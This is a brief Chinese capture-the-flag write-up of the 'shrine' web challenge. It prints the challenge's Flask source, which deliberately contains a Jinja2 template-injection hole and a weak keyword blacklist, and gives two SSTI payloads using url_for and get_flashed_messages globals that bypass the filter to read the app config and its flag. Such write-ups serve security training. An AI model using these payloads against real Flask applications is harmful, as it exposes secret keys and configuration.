攻防世界-Web-shrine

知识点

1.SSTI

步骤

打开网站,是一份pythone flask框架代码,分析。

python 复制代码
import flask
import os

app = flask.Flask(__name__)
app.config["FLAG"] //将flag写入config中
l = os.environ.pop("FLAG")


@app.route("/")   //访问根目录,读取__file__的内容
def index():
    return open(__file__).read()


@app.route("/shrine/")
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace("(", "").replace(")", "") //过滤括号
        blacklist = ["config", "self"]    //黑名单,过滤config和self
        return "".join(["{{% set {}=None%}}".format(c) for c in blacklist]) + s //按照黑名单的过滤

    return flask.render_template_string(safe_jinja(shrine))  //存在模版注入


if __name__ == "__main__":
    app.run(debug=True)

可以发现在config中存在flag,所以目标就是读取config

1.测试模版注入

2.正常读取config

发现被过滤成None

3.尝试其他读取方式

使用get_flashed_messages或者url_for.__globals读取config

python 复制代码
{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}

flag{shrine_is_good_ssti}

相关推荐
Bug.ink12 分钟前
BUUCTF——WEB(8)
web安全·网络安全·buuctf
Whoami!1 小时前
❿⁄₆ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击 ➱ 提取密码管理器KeePass主密码(上)
网络安全·信息安全·密码破解·keepass
上海云盾商务经理杨杨15 小时前
2026年等保测评终极指南:新规解读、策略选择与一站式服务深度剖析
网络安全
pps-key17 小时前
Afrog漏洞扫描器:从入门到入狱......边缘的摇摆记录(pps-key黑化版)
linux·计算机网络·安全·网络安全
白帽黑客-晨哥18 小时前
授权单位实战+专属应急队,湖南省网安基地如何用真实项目与应急响应锻造安全精英
web安全·网络安全·渗透测试·kali·湖南省网安基地
sublime8821 小时前
JNPF快速开发平台存在任意文件读取漏洞 附PO
网络·安全·web安全·网络安全
蜂蜜黄油呀土豆21 小时前
计算机网络中的常见网络攻击及防范措施
计算机网络·网络安全·sql注入·dns劫持·xss攻击·csrf攻击·ddos攻击
上海云盾商务经理杨杨1 天前
2026年DDoS攻防新纪元:全面解析攻击的智能化升级与防护的体系化革命
网络·web安全·网络安全·ddos
世界尽头与你1 天前
CVE-2024-43044_ Jenkins agent connections 文件读取漏洞
安全·网络安全·渗透测试·jenkins
Bug.ink1 天前
BUUCTF——WEB(6)
数据库·sql·网络安全·靶场·buuctf